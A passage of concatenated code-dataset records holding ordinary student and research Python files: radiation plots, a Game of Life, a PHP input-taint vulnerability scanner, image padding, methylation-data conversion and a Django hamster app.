i in hospitals:\n h = hospitals[i]\n rad = []\n lat = [h[0] - diff, h[0] + diff]\n lon = [h[1] - diff, h[1] + diff]\n rad = df2[(df2['Long'].between(lon[0], lon[1]) &\n df2['Lat'].between(lat[0], lat[1]))]\n rad = rad[rad['Value'] > 100] # Arbitrary basline?\n rad = rad.rename(columns = {'Value': i})\n\n radiation[i] = rad[['Timestamp', i]]\n\ndf_r = [pd.DataFrame(radiation[i]) for i in radiation]\ndf_final = reduce(lambda left, right: pd.merge(left, right,\n on = ['Timestamp'],\n how = 'outer'), df_r)\ndf_final['Timestamp'] = pd.to_datetime(df_final['Timestamp'])\n\ncolors = ['red', 'orange', 'yellow', 'green',\n 'aqua', 'blue', 'magenta', 'violet']\n\nfor h in df_final.columns[1:]:\n fig4, ax4 = plt.subplots()\n tmp_df = df_final[['Timestamp', h]]\n ax4.plot(tmp_df['Timestamp'], tmp_df[h], color = colors[int(h)])\n for i in df_final.columns[1:]:\n tmp_df = df_final[['Timestamp', i]]\n ax4.scatter(x = tmp_df['Timestamp'],\n y = tmp_df[i],\n color = colors[int(i)],\n label = 'Hospital {}'.format(i),\n linestyle = 'solid',\n marker = '.')\n ax4.set_xlabel('Date')\n ax4.set_ylabel('Radiation CPM')\n ax4.set_ylim([0, 1500])\n # ax4.set_xticklabels(labels = list(tmp_df['Timestamp']), rotation = 45)\n # ax4.legend(loc = 'lower left')\n ax4.grid(axis = 'x')\n ax4.set_title('Radiation CPM per Hospital (Hospital {})'.format(h))\n fig4.show()\n fig4.savefig('/Users/jmiller/Desktop/Rad_Hosp_{}.png'.format(h))\n","sub_path":"ISTE.782 - Visual Analytics/Final Project/Final_Project.py","file_name":"Final_Project.py","file_ext":"py","file_size_in_byte":4707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"251681214","text":"\"\"\"\nNo Capítulo 3 usamos remove() para remover um valor específico de uma\nlista. A função remove() era apropriada porque o valor em que estávamos\ninteressados aparecia apenas uma vez na lista. Porém, e se quiséssemos\nremover da lista todas as instâncias de um valor?\n\nSuponha que tenhamos uma lista de animais de estimação com o valor\n'cat' repetido várias vezes. Para remover todas as instâncias desse valor,\npodemos executar um laço while até 'cat' não estar mais na lista, como\nvemos aqui:\n\"\"\"\n\npets = ['cachorro', 'gato', 'cachorro', 'golfinho', 'gato', 'coelho', 'gato']\nprint(pets)\n\nwhile 'gato' in pets:\n pets.remove('gato')\n\nprint(pets)","sub_path":"Capitulo 7/pets.py","file_name":"pets.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"100652931","text":"\"\"\"\nconway.py\nAuthor: Emma Dunbar\nCredit: Geoff Dunbar, Stackoverflow, Python-textbok\nAssignment:\nWrite and submit a program that plays Conway's Game of Life, per \nhttps://github.com/HHS-IntroProgramming/Conway-Life\n\"\"\"\nfrom ggame import App, Color, LineStyle, Sprite, RectangleAsset, CircleAsset, EllipseAsset, PolygonAsset\n\nxsize=10\nysize=10\npixelsize=20\n\ndef emmaprint(mylist):\n for y in range(0, ysize):\n mystri=\"\"\n for x in range (0, xsize):\n mystri+= mylist[l2.index([x,y])] +' '\n print(mystri)\n print(\"\")\n\ngreen=Color(0x00ff00, 1.0)\nblue=Color(0x0000ff, 1.0)\nwhite=Color(0xf0f0f0, 1.0)\nblack=Color(0x000000, 1.0)\ntline=LineStyle(0, black)\n\nlife1=(RectangleAsset(pixelsize-1, pixelsize-1, tline, green))\nlife2=(RectangleAsset(pixelsize-1, pixelsize-1, tline, blue))\nnone=(RectangleAsset(pixelsize-1, pixelsize-1, tline, white))\n\nlifelist=[]\nl2=[]\nn=xsize*ysize\n\ndef coor(u):\n a=u % xsize\n b=int((u-a)/xsize)\n return[a,b]\n\ndef printing(newl1):\n doe=0\n for sprite in newl1:\n if doe>=xsize*ysize:\n break\n else:\n what=newl1.index(sprite, doe)\n doe=what+1\n ucoor=coor(what)\n if sprite==\"none\":\n x=ucoor[0]\n y=ucoor[1]\n death(x,y)\n elif sprite==\"life1\":\n x=ucoor[0]\n y=ucoor[1]\n createlife(x,y)\n elif sprite==\"life2\":\n x=ucoor[0]\n y=ucoor[1]\n staylife(x,y)\n\ndef thegame(l1, l3, j, newl1):\n ldeath=[]\n llife=[]\n lstay=[]\n for z in l3:\n pos=l2.index(z)\n h=l1[pos]\n if h==\"none\":\n ldeath+=[h]\n if h==\"life1\":\n llife+=[h]\n if h==\"life2\":\n llife+=[h]\n if (len(llife)==3) and (l1[j]==\"none\"):\n newl1[j]=\"life1\"\n elif ((len(llife)==2) or (len(llife)==3)) and ((l1[j]==\"life1\") or (l1[j]==\"life2\")):\n newl1[j]=\"life2\"\n elif (len(llife)>=4) or (len(llife)<=1):\n newl1[j]=\"none\"\n\ndef nei(r):\n mycoor=coor(r)\n rx=int(mycoor[0])\n ry=int(mycoor[1])\n if rx==0 or rx==xsize-1 or ry==0 or ry==ysize-1:\n if rx==0 and ry==0:\n d=1\n elif rx==0 and ry==ysize-1:\n d=2\n elif rx==xsize-1 and ry==ysize-1:\n d=3\n elif rx==xsize-1 and ry==0:\n d=4\n elif rx==0:\n d=5\n elif rx==xsize-1:\n d=6\n elif ry==0:\n d=7\n elif ry==ysize-1:\n d=9\n else:\n d=8\n return(d)\n \n \ndef createlife(xx,yy):\n Sprite(life1,(xx*pixelsize,yy*pixelsize))\ndef staylife(xx,yy):\n Sprite(life2,(xx*pixelsize,yy*pixelsize))\ndef death(xx,yy):\n Sprite(none,(xx*pixelsize,yy*pixelsize))\n\nspace=\"\"\n\nl2=[]\nfor i in range(0,n):\n k=coor(i)\n l2+=[k]\n i=\"none\"\n lifelist=lifelist+[i]\n#lifelist=[\"none\",\"none\",\"none\",\"none\",\"none\",\"life1\",\"life1\",\"life1\",\"none\",\"life1\",\"life1\",\"life1\",\"life1\",\"life1\",\"none\",\"none\",\"none\",\"none\",\"none\",\"none\",\"none\",\"none\",\"none\",\"none\",\"none\"]\n\ndef conway(l1):\n newl1=list.copy(l1)\n for j in range(0,len(l1)):\n w=nei(j)\n if w==1:\n s=coor(j)\n jx=(s[0])\n jy=(s[1])\n five=[jx+1,jy]\n seven=[jx,jy+1]\n eight=[jx+1,jy+1]\n l3=[five]+[seven]+[eight]\n thegame(l1, l3, j, newl1)\n if w==2:\n s=coor(j)\n jx=(s[0])\n jy=(s[1])\n two=[jx,jy-1]\n three=[jx+1,jy-1]\n five=[jx+1,jy]\n l3=[two]+[three]+[five]\n thegame(l1, l3, j, newl1)\n if w==3:\n s=coor(j)\n jx=(s[0])\n jy=(s[1])\n one=[jx-1,jy-1]\n two=[jx,jy-1]\n four=[jx-1,jy]\n l3=[one]+[two]+[four]\n thegame(l1, l3, j, newl1)\n if w==4:\n s=coor(j)\n jx=(s[0])\n jy=(s[1])\n four=[jx-1,jy]\n six=[jx-1,jy+1]\n seven=[jx,jy+1]\n l3=[four]+[six]+[seven]\n thegame(l1, l3, j, newl1)\n if w==5:\n s=coor(j)\n jx=(s[0])\n jy=(s[1])\n two=[jx,jy-1]\n three=[jx+1,jy-1]\n five=[jx+1,jy]\n seven=[jx,jy+1]\n eight=[jx+1,jy+1]\n l3=[two]+[three]+[five]+[seven]+[eight]\n thegame(l1, l3, j, newl1)\n if w==6:\n s=coor(j)\n jx=(s[0])\n jy=(s[1])\n one=[jx-1,jy-1]\n two=[jx,jy-1]\n four=[jx-1,jy]\n six=[jx-1,jy+1]\n seven=[jx,jy+1]\n l3=[one]+[two]+[four]+[six]+[seven]\n thegame(l1, l3, j, newl1)\n if w==7:\n s=coor(j)\n jx=(s[0])\n jy=(s[1])\n four=[jx-1,jy]\n five=[jx+1,jy]\n six=[jx-1,jy+1]\n seven=[jx,jy+1]\n eight=[jx+1,jy+1]\n l3=[four]+[five]+[six]+[seven]+[eight]\n thegame(l1, l3, j, newl1)\n if w==9:\n s=coor(j)\n jx=(s[0])\n jy=(s[1])\n one=[jx-1,jy-1]\n two=[jx,jy-1]\n three=[jx+1,jy-1]\n four=[jx-1,jy]\n five=[jx+1,jy]\n l3=[one]+[two]+[three]+[four]+[five]\n thegame(l1, l3, j, newl1)\n if w==8:\n s=coor(j)\n jx=(s[0])\n jy=(s[1])\n one=[jx-1,jy-1]\n two=[jx,jy-1]\n three=[jx+1,jy-1]\n four=[jx-1,jy]\n five=[jx+1,jy]\n six=[jx-1,jy+1]\n seven=[jx,jy+1]\n eight=[jx+1,jy+1]\n l3=[one]+[two]+[three]+[four]+[five]+[six]+[seven]+[eight]\n thegame(l1, l3, j, newl1)\n printing(newl1)\n l1=list.copy(newl1)\n return l1\n\n\ndef spaceKey(event):\n global lifelist\n lifelist = conway(lifelist)\n\ndef click(event):\n mcx=int(event.x)\n mcy=int(event.y)\n acx=int(mcx/pixelsize)\n acy=int(mcy/pixelsize)\n if acx<0 or acy<0 or acx>xsize or acy>ysize:\n return\n place=[acx,acy]\n place2=l2.index(place)\n pixel=lifelist[place2]\n if pixel==\"none\":\n lifelist[place2]=\"life1\"\n if pixel==\"life1\" or pixel==\"life2\":\n lifelist[place2]=\"none\"\n printing(lifelist)\n\n \nprinting(lifelist)\n\nmyapp = App()\nstep=myapp.listenKeyEvent('keydown', 'space', spaceKey)\nclickity=myapp.listenMouseEvent('click', click)\nmyapp.run(step)","sub_path":"conway.py","file_name":"conway.py","file_ext":"py","file_size_in_byte":6493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"634546254","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport os\nimport re\nimport sys\nimport argparse\nimport json\nfrom settings import *\n\nis_debug = True\n\noutput_json_data = {}\nresult_vulner_cnt = 0\nresult_file_cnt = 0\nregex_dynamic_sources = ''\nregex_dynamic_sources_arr = []\nvulner_id = 0\n\n\n# Read badfunctions, securefunctins, sources from .conf files\ndef read_info_from_conf_files():\n # Read from sources.conf\n global regex_dynamic_sources\n global regex_dynamic_sources_arr\n text_file = open(\"conf/sources.conf\", \"r\")\n lines = text_file.readlines()\n str_tmp = ''\n for line in lines:\n line = line.strip()\n line = line.replace('\"', '')\n line = line.replace(\"'\", '')\n regex_dynamic_sources_arr.append(line)\n if len(str_tmp) > 0:\n str_tmp = str_tmp + '|'\n str_tmp = str_tmp + '\\\\' + line + '\\\\[.*?\\\\]'\n if len(str_tmp) > 0:\n regex_dynamic_sources = '\\\\((.*?)(' + str_tmp + ')(.*?)\\\\)'\n # later more\n regex_dynamic_sources = '\\\\((.*?)(\\\\$_GET\\\\[.*?\\\\]|\\\\$_FILES\\\\[.*?\\\\]|\\\\$_POST\\\\[.*?\\\\]|\\\\$_REQUEST\\\\[.*?\\\\]|\\\\$_COOKIES\\\\[.*?\\\\]|\\\\$_SESSION\\\\[.*?\\\\]|\\\\$(?!this|e-)[a-zA-Z0-9_,]*)(.*?)\\\\)'\n\n\n# Search the line declared\ndef search_decl_line(declaration, file_content):\n content = file_content.split('\\n')\n for i in range(len(content)):\n if declaration in content[i]:\n return i\n return -1\n\n\n# Search the line of vulnerability\ndef search_vulnerability_line(pattern, vulnerability, file_content):\n content = file_content.split('\\n')\n for i in range(len(content)):\n vulner_code = \"%s(%s%s%s)\" % (pattern[0], vulnerability[0], vulnerability[1], vulnerability[2])\n if vulner_code in content[i]:\n column = content[i].find(vulner_code) + 1\n return i - 1, column\n return -1, -1\n\n\n# Make clean the source code\ndef make_clean_source(file_content):\n # Clean up - replace tab by space\n content = file_content.replace(\" \", \" \")\n\n # echo \"XXX\" -> echo(\"XXX\")\n content = content.replace(\"echo \", \"echo(\")\n content = content.replace(\";\", \");\")\n return content\n\n\n# Check if contains dynamic sources\n# \"$_GET\", \"$_POST\", # \"$_COOKIE\", # \"$_REQUEST\", ...\ndef check_is_contain_dynamic_sources(match):\n global regex_dynamic_sources_arr\n for item in regex_dynamic_sources_arr:\n if item in match:\n return True\n return False\n\n\n# Regex 3 is a predefined list of keywords such as ('htmlspecialchars', 'htmlentities')\n# pattern: would be ('htmlspecialchars', 'htmlentities')\n# match: declaration of variable\ndef check_is_secure_protected(pattern, match):\n for protection in pattern:\n if protection in \"\".join(match):\n return True\n return False\n\n\n# Check the declaration of this variable\ndef check_declaration_of_this_var(file_content, vuln, path):\n # get all include, require files to check its file_content\n regex_decl = re.compile(\"(include.*?|require.*?)\\\\([\\\"\\'](.*?)[\\\"\\']\\\\)\")\n include_files = regex_decl.findall(file_content)\n\n for include_file in include_files:\n relative_include_file = os.path.dirname(path) + \"/\"\n try:\n path_include_file = relative_include_file + include_file[1]\n with open(path_include_file, 'r') as f:\n file_content = f.read() + file_content\n except Exception as e:\n return False, \"\", \"\"\n\n vulnerability = vuln[1:].replace(')', '\\\\)').replace('(', '\\\\(')\n regex_decl2 = re.compile(\"\\\\$(.*?)([\\t ]*)as(?!=)([\\t ]*)\\\\$\" + vulnerability)\n declaration2 = regex_decl2.findall(file_content)\n if len(declaration2) > 0:\n return check_declaration_of_this_var(file_content, \"$\" + declaration2[0][0], path)\n\n # $var = $_GET['var']\n regex_decl = re.compile(\"\\\\$\" + vulnerability + \"([\\t ]*)=(?!=)(.*)\")\n declaration = regex_decl.findall(file_content)\n declaration3 = path\n\n if len(declaration) > 0:\n\n # Check if constant\n decl_text = \"$\" + vulnerability + declaration[0][0] + \"=\" + declaration[0][1]\n line_declaration = search_decl_line(decl_text, file_content)\n regex_constant = re.compile(\"\\\\$\" + vuln[1:] + \"([\\t ]*)=[\\t ]*?([\\\"\\'(]*?[a-zA-Z0-9{}_\\\\(\\\\)@\\\\.,!: ]*?[\\\"\\')]*?);\")\n is_vulnerable = regex_constant.match(decl_text)\n if '4' not in declaration3:\n return True, \"\", \"\"\n\n if is_vulnerable:\n return True, \"\", \"\"\n return False, decl_text, line_declaration\n\n return False, \"\", \"\"\n\n\n# process a php file\ndef process_file(path, report_type, report_file):\n global result_vulner_cnt\n global result_file_cnt\n result_file_cnt += 1\n with open(path, 'r', encoding='utf-8', errors='replace') as content_file:\n\n # make clean code for better parsing\n content = content_file.read()\n content = make_clean_source(content)\n\n # detect vulnerability\n for pattern in patterns:\n regex = re.compile(pattern[0] + regex_dynamic_sources)\n matches = regex.findall(content)\n\n for vuln_content in matches:\n # check if it is protected, when vulnerability detected\n if not check_is_secure_protected(pattern[1], vuln_content):\n decl_text, line = \"\", \"\"\n\n # process multiple variable in a single line/function\n sentence = \"\".join(vuln_content)\n regex = re.compile(regex_dynamic_sources[2:-2]) # because this is not the case - for ex: echo(...)\n for vulnerable_var in regex.findall(sentence):\n is_vulnerable = False\n\n if not check_is_contain_dynamic_sources(vulnerable_var[1]):\n is_vulnerable, decl_text, line = check_declaration_of_this_var(\n content,\n vulnerable_var[1],\n path)\n\n is_secure_protected = check_is_secure_protected(pattern[1], decl_text)\n is_vulnerable = is_secure_protected if is_secure_protected else is_vulnerable\n\n # Output vuln\n line_vuln, column = search_vulnerability_line(pattern, vuln_content, content)\n\n if \"$_\" not in vulnerable_var[1]:\n if \"$\" not in decl_text.replace(vulnerable_var[1], ''):\n is_vulnerable = True\n\n if not is_vulnerable:\n result_vulner_cnt = result_vulner_cnt + 1\n output_result(path, pattern, vuln_content, line_vuln, column, decl_text, line)\n\n\n# process all files in dir\ndef process_dir(dir, extensions, report_type, report_file, current_progress):\n extensions_splited = extensions.split(',')\n extension_arr = []\n for extension in extensions_splited:\n extension_arr.append('.' + extension.strip())\n\n current_progress += 1\n current_progress_character = '⬛'\n\n try:\n for name in os.listdir(dir):\n\n print('\\tProgress : ' + current_progress_character * current_progress + '\\r', end=\"\\r\"),\n\n if os.path.isfile(os.path.join(dir, name)):\n for extension in extension_arr:\n if name.endswith(extension):\n process_file(dir + \"/\" + name, report_type, report_file)\n else:\n process_dir(dir + \"/\" + name, extensions, report_type, report_file, current_progress)\n\n except OSError as e:\n print(\"Error Occurred, maybe you need more right ?\" + \" \" * 30)\n exit(-1)\n\n\n# Output the found vulnerability information into console and json\ndef output_result(path, pattern, vulnerability, line, column, decl_text, decl_line):\n global vulner_id\n vulner_id += 1\n\n vuln = \"{}({})\".format(pattern[0], \"\".join(vulnerability))\n msg = \"Potential %s vulnerability identified on %s\" % (pattern[2], pattern[0])\n\n # Print to console\n # | 1 | / opt / test / case4.php | 6 | 2 | Potential Cross - site Scripting vulnerability identified with $var on echo | Cross-site Scripting |\n if is_debug:\n print(\"| %d | %s | %d | %d | %s | %s | %s \" % (vulner_id, path, line + 2, column, msg, pattern[2], vuln))\n else:\n print(\"| %d | %s | %d | %d | %s | %s |\" % (vulner_id, path, line + 2, column, msg, pattern[2]))\n\n print(\"---\" * 70)\n\n # Print to Json\n # EXAMPLE JSON OUTPUT\n #\n # {\n # \"vulnId\": 1\n # \"file\": \"\\/case4.php\",\n # \"line\": 7,\n # \"column\": 6,\n # \"message\": \"Potential Cross-site Scripting vulnerability identified with $var on echo\",\n # \"vulnType\": \"Cross-site Scripting\"\n # },\n if args.report_type.lower() == 'json':\n global output_json_data\n output_json_data['result'].append({\n \"vulnId\": vulner_id,\n \"file\": path,\n \"line\": line + 2,\n \"column\": column,\n \"message\": msg,\n \"vulnType\": pattern[2]\n })\n\n\n# python3 phpcode_scanner.py --extensions=php,inc,php3 --target=/path --report_type=json --report_file=report.json\nif __name__ == \"__main__\":\n arg_parser = argparse.ArgumentParser()\n arg_parser.add_argument('--target', action='store', dest='target', help=\"Directory to analyse\")\n arg_parser.add_argument('--extensions', action='store', dest='extensions', help=\"file extensions to analyse\", default='php')\n arg_parser.add_argument('--report_type', action='store', dest='report_type', help=\"report file type\", default='json')\n arg_parser.add_argument('--report_file', action='store', dest='report_file', help=\"report file path\", default='report.json')\n\n args = arg_parser.parse_args()\n\n if args.target is not None:\n sys.setrecursionlimit(5000000)\n\n print(\"\"\"Running PHP Code Scanner ...\"\"\")\n print(\"\\nSource code path: {}\".format(args.target))\n\n read_info_from_conf_files()\n\n # == == == == == == == == == == == == == == == == == == == == == == ==\n # | vulnid | file | line | column | message | vulntype |\n # == == == == == == == == == == == == == == == == == == == == == == ==\n print(\"== \" * 70)\n print(\"| vulnid | file | line | column | message | vulntype |\")\n print(\"== \" * 70)\n\n # global output_json_data\n output_json_data['result'] = []\n\n if os.path.isfile(args.target):\n process_file(args.target, args.report_type, args.report_file)\n else:\n process_dir(args.target, args.extensions, args.report_type, args.report_file, 0)\n\n if args.report_type.lower() == 'json':\n with open(args.report_file, 'w') as outfile:\n json.dump(output_json_data, outfile)\n\n else:\n arg_parser.print_help()\n","sub_path":"phpcode_scanner2.py","file_name":"phpcode_scanner2.py","file_ext":"py","file_size_in_byte":10807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"99207894","text":"from PIL import Image\r\nimport math\r\n\r\nin_file = raw_input(\"In file (without the suffix of .png): \")+\".png\"\r\ntile_size = int(raw_input(\"Tile size: \"))\r\nrequired_padding_size = int(raw_input(\"Padding size: \"))\r\ntile_orig_with_padding = tile_size\r\nout_file = in_file.split(\".\")[0] + \"_out.png\"\r\n\r\nim = Image.open(in_file)\r\n\r\nif im.size[0] != im.size[1]:\r\n\tprint(\"Input image must have equal size\")\r\n\tquit()\r\n\r\ndef addPadding(orig_im, image, width, height):\r\n\tout_im = image.load()\r\n\tfor y in range(0, height):\r\n\t\tout_x = 0\r\n\t\tfor x in range(0, width):\t\t\t\r\n\t\t\tnew_x = (x) % (tile_size)\r\n\t\t\tnum_tiles_x = math.floor(x / (tile_size))\r\n\t\t\tnew_y = y\r\n\r\n\t\t\tif (new_x <= 0) or (new_x >= tile_size - 1):\r\n\t\t\t\tfor j in range(0, required_padding_size + 1):\r\n\t\t\t\t\torig_im_x = num_tiles_x * tile_orig_with_padding + new_x\r\n\t\t\t\t\torig_im_y = new_y\r\n\r\n\t\t\t\t\tif orig_im_x >= orig_im.size[0] or orig_im_y >= orig_im.size[1] or out_x >= width:\r\n\t\t\t\t\t\tbreak\r\n\r\n\t\t\t\t\tout_im[out_x, y] = orig_im.getpixel((orig_im_x, orig_im_y))\r\n\t\t\t\t\tout_x += 1\r\n\t\t\telse:\t\t\t\r\n\t\t\t\torig_im_x = num_tiles_x * tile_orig_with_padding + new_x\r\n\t\t\t\torig_im_y = new_y\r\n\r\n\t\t\t\tif orig_im_x < orig_im.size[0] and orig_im_y < orig_im.size[1] and out_x < width:\t\t\t\t\t\r\n\t\t\t\t\tout_im[out_x, y] = orig_im.getpixel((orig_im_x, orig_im_y))\r\n\t\t\t\t\tout_x += 1\r\n\r\nout = im.copy()\r\naddPadding(im, out, out.size[0], out.size[1])\r\nout = out.rotate(90, expand = 0)\r\naddPadding(out.copy(), out, out.size[0], out.size[1])\r\nout = out.rotate(-90, expand = 0)\r\n\r\nout.save(out_file)\r\n","sub_path":"AddPadding.py","file_name":"AddPadding.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"152990456","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nfrom gridlod.world import World, Patch\n\nfrom MasterthesisLOD import buildcoef2d\nfrom gridlod_on_perturbations.visualization_tools import drawCoefficient_origin\n\n\npotenz = 8\nfactor = 2**(potenz - 8)\nfine = 2**potenz\n\nN = 2**5\nprint('log H: ' ,np.abs(np.log(np.sqrt(2*(1./N**2)))))\nk = 4 # goes like log H\n\nNFine = np.array([fine,fine])\nNpFine = np.prod(NFine + 1)\nNWorldCoarse = np.array([N, N])\n\n# boundary Conditions\nboundaryConditions = np.array([[0, 0], [0, 0]])\n\nNCoarseElement = NFine // NWorldCoarse\nworld = World(NWorldCoarse, NCoarseElement, boundaryConditions)\n\n'''\nConstruct diffusion coefficient\n'''\n\nspace = 3 * factor\nthick = 6 * factor\n\nbg = 0.1\t\t#background\nval = 1\t\t\t#values\n\nsoilinput = np.array([[8, 6, 3],[8, 3, 6],[10, 3, 4]])\nsoilMatrix = buildcoef2d.soil_converter(soilinput,NFine, BoundarySpace=space)\nprint(soilMatrix)\n\nCoefClass = buildcoef2d.Coefficient2d(NFine,\n bg = bg,\n val = val,\n length = thick,\n thick = thick,\n space = space,\n probfactor = 1,\n right = 1,\n equidistant = True,\n BoundarySpace = True,\n soilMatrix = soilMatrix)\n\naFine = CoefClass.BuildCoefficient().flatten()\n\nplt.figure(\"Coefficient\")\ndrawCoefficient_origin(NFine, aFine)\n\nplt.show()","sub_path":"test/test_buildcoef2d.py","file_name":"test_buildcoef2d.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"368744328","text":"#!/usr/bin/env python\n\nimport sys\nimport argparse\nimport subprocess\nimport os\n\nimport pandas as pd\n\nparser = argparse.ArgumentParser(description='convert bismark for meth_atlas')\nparser.add_argument('file', type=str, help='input bismark file')\nparser.add_argument('sample_name', type=str, help='sample name')\nparser.add_argument('--tile', type=int, default=0, help='If tile windows, specify window size (bp).')\nparser.add_argument('--reference', type=str, default='hg38', help='hg38 or mm10')\nparser.add_argument('--outdir', type=str, default='./', help=\"output directory\")\nparser.add_argument('--th_cov', type=int, default=0, help='Threshold of coverage within CpG or tile.')\nparser.add_argument('--bedtools', type=str, default='bedtools', help='Full path to bedtools')\n\nargs = parser.parse_args()\nf = args.file\nn = args.sample_name\nt = args.tile\n# th_cov = args.th_cov\nref = args.reference\nth_cov = 5\ndir_out = args.outdir\np_bedtools = args.bedtools\n\nif not ref in ['hg38', 'mm10']:\n raise ValueError(ref + \" is an invalid reference.\")\n\ndef check_tile(t):\n if not os.path.exists('{d}/data/{r}.win{t}.bed.gz'.format(r=ref, d=os.path.dirname(os.path.abspath(__file__)), t=t)):\n cmd = '{b} makewindows -g {d}/data/{r}.sort.genome -w {t} > {d}/data/{r}.win{t}.bed'.format(\n b=p_bedtools, d=os.path.dirname(os.path.abspath(__file__)), t=t, r=ref)\n print(cmd)\n subprocess.run(cmd, shell=True)\n\n cmd = 'gzip {d}/data/{r}.win{t}.bed'.format(r=ref, d=os.path.dirname(os.path.abspath(__file__)), t=t)\n print(cmd)\n subprocess.run(cmd, shell=True)\n\nif t != 0:\n check_tile(t)\n\n cmd = '{b} sort -i {f} > {f_sort}'.format(b=p_bedtools, f=f, f_sort='tmp.sort.txt')\n print(cmd)\n subprocess.run(cmd, shell=True)\n\n cmd = '{b} map -a {d}/data/{r}.win{x}.bed.gz -b {bis} -c 4,5,6 -o mean,sum,sum | grep -v \"\\.\\s*\\.\" > {o}'.format(\n b = p_bedtools, d=os.path.dirname(os.path.abspath(__file__)),\n x = t, bis='tmp.sort.txt', o='tmp.tile.txt', r=ref)\n print(cmd)\n subprocess.run(cmd, shell=True)\n f = 'tmp.tile.txt'\n\ndef parse_bismark(f, t):\n df = pd.read_csv(f, sep='\\t', header=None)\n df.columns = ['chromosome', 'start', 'end', 'methylated_frequency', 'meth', 'deme']\n if t == 0:\n df['CpGs'] = df['chromosome'] + ':' + (df['start']).astype(str)\n else:\n df['CpGs'] = df['chromosome'] + ':' + (df['start']).astype(str) + '-' + (df['end']).astype(str)\n df['methylated_frequency'] /= 100\n # df = df[df[['meth', 'deme']].sum(axis=1) > th_cov]\n # df['methylated_frequency'] = (df['meth'] + 1) / (df['meth'] + df['deme'] + 2)\n df = df[['CpGs', 'methylated_frequency']]\n return df\n\ndf = parse_bismark(f, t)\ndf.columns = ['CpGs', n]\nif t != 0:\n f_out = '{d}/{n}.tile{t}bp.csv'.format(d=dir_out, t=t, n=n)\nelse:\n f_out = '{d}/{n}.csv'.format(d=dir_out, n=n)\n df.to_csv(f_out, index=None)\n\ndf.to_csv(f_out, index=None)\nprint(f_out, 'generated.')\n\nos.remove('tmp.sort.txt')\nos.remove('tmp.tile.txt')\nprint('Temporary files deleted.')\n","sub_path":"convert_bismark.py","file_name":"convert_bismark.py","file_ext":"py","file_size_in_byte":3049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"418117177","text":"from django.http import Http404\r\nfrom django.shortcuts import render, get_object_or_404, redirect\r\nfrom .models import Animal, Equipement\r\n\r\n\r\n# afficher la liste des animaux et des équipements\r\ndef animal_list(request):\r\n animaux = Animal.objects.all()\r\n equipements = Equipement.objects.all()\r\n return render(request, 'hamsters/animal_list.html', {'animaux': animaux, 'equipements': equipements})\r\n\r\n\r\n# afficher les détails de l'animal selectionné avec l'équipement qu'il utilise\r\ndef animal_detail(request, id_animal):\r\n animal = get_object_or_404(Animal, pk=id_animal)\r\n equipement = animal.lieu\r\n equipements = Equipement.objects.all()\r\n return render(request, 'hamsters/animal_detail.html',\r\n {'animal': animal, 'equipement': equipement, 'equipements': equipements})\r\n\r\n\r\n# affiche l'équipement suivant en se basant sur l'équipement actuel\r\n# si l'équipement actuel est la litière on l'envoie au mangeoire\r\ndef equipement_suivant(id_eq):\r\n equipements = [\"mangeoire\", \"roue\", \"nid\"]\r\n marked = False\r\n for e in equipements:\r\n if (marked):\r\n return e\r\n if (e == id_eq):\r\n marked = True\r\n return equipements[0]\r\n\r\n\r\n# affiche létat actuel de l'animal après avoir éta dans l'équipement passé en paramètre\r\ndef etat_suivant(equipement):\r\n dict = {\"mangeoire\": \"repus\", \"roue\": \"fatigués\", \"nid\": \"affamés\"}\r\n return dict[equipement]\r\n\r\n\r\n# faire passer l'animal à l'équipement suivant tout en changeant son état\r\n# afficher une erreur 404 si l'équipement suivant est occupé\r\ndef deplacer_animal(request, id_animal):\r\n animal = get_object_or_404(Animal, pk=id_animal)\r\n equipement_courant = animal.lieu\r\n\r\n id_next = equipement_suivant(equipement_courant.id_equip)\r\n ett_suivant = etat_suivant(id_next)\r\n equipement_next = get_object_or_404(Equipement, pk=id_next)\r\n print(equipement_courant, equipement_next, equipement_courant.disponibilite)\r\n if (equipement_next.disponibilite != \"libre\"):\r\n raise Http404(\"equipement n'est pas libre\")\r\n\r\n equipement_courant.disponibilite = \"libre\"\r\n equipement_next.disponibilite = \"occupé\"\r\n animal.lieu = equipement_next\r\n animal.etat = ett_suivant\r\n equipement_next.save()\r\n animal.save()\r\n equipement_courant.save()\r\n\r\n return redirect(\"/animal/\" + id_animal)\r\n\r\n\r\n# faire passer l'animal à la litière\r\ndef deplacer_animal_litière(request, id_animal):\r\n animal = get_object_or_404(Animal, pk=id_animal)\r\n equipement_courant = animal.lieu\r\n\r\n equipement_courant.disponibilite = \"libre\"\r\n equipement_courant.save()\r\n animal.etat = \"affamés\"\r\n animal.lieu = get_object_or_404(Equipement, pk=\"litière\")\r\n animal.save()\r\n return redirect(\"/animal/\" + id_animal)\r\n\r\n# afficher les détails relatives à l'équipement choisi.\r\ndef equipement_details(request, id_equip):\r\n equipement = get_object_or_404(Equipement, pk=id_equip)\r\n return render(request, 'hamsters/equipement_detail.html', {'equipement': equipement})\r\n","sub_path":"hamsters/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"31834986","text":"from fiscalmodel.util import get_csv, get_json\n\nCATEGORIES = {\n \"budget\": \"Budget\",\n \"spending\": \"Expenditure\",\n \"other\": \"Other\"\n}\n\ndata = get_csv('countries')\nconv = lambda c: (c['ISO-2'].decode('utf-8'),\n c['Country'].decode('utf-8'))\nCOUNTRIES = dict(map(conv, data))\n\ndata = get_json('currency')\ncurrencies = data['codelist']['Currency']\nCURRENCIES = dict(map(lambda c: (c['code'], (c['name'], c.get('key', False))),\n currencies))\n\ndata = get_json('language')\ncurrencies = data['codelist']['Language']\nLANGUAGES = 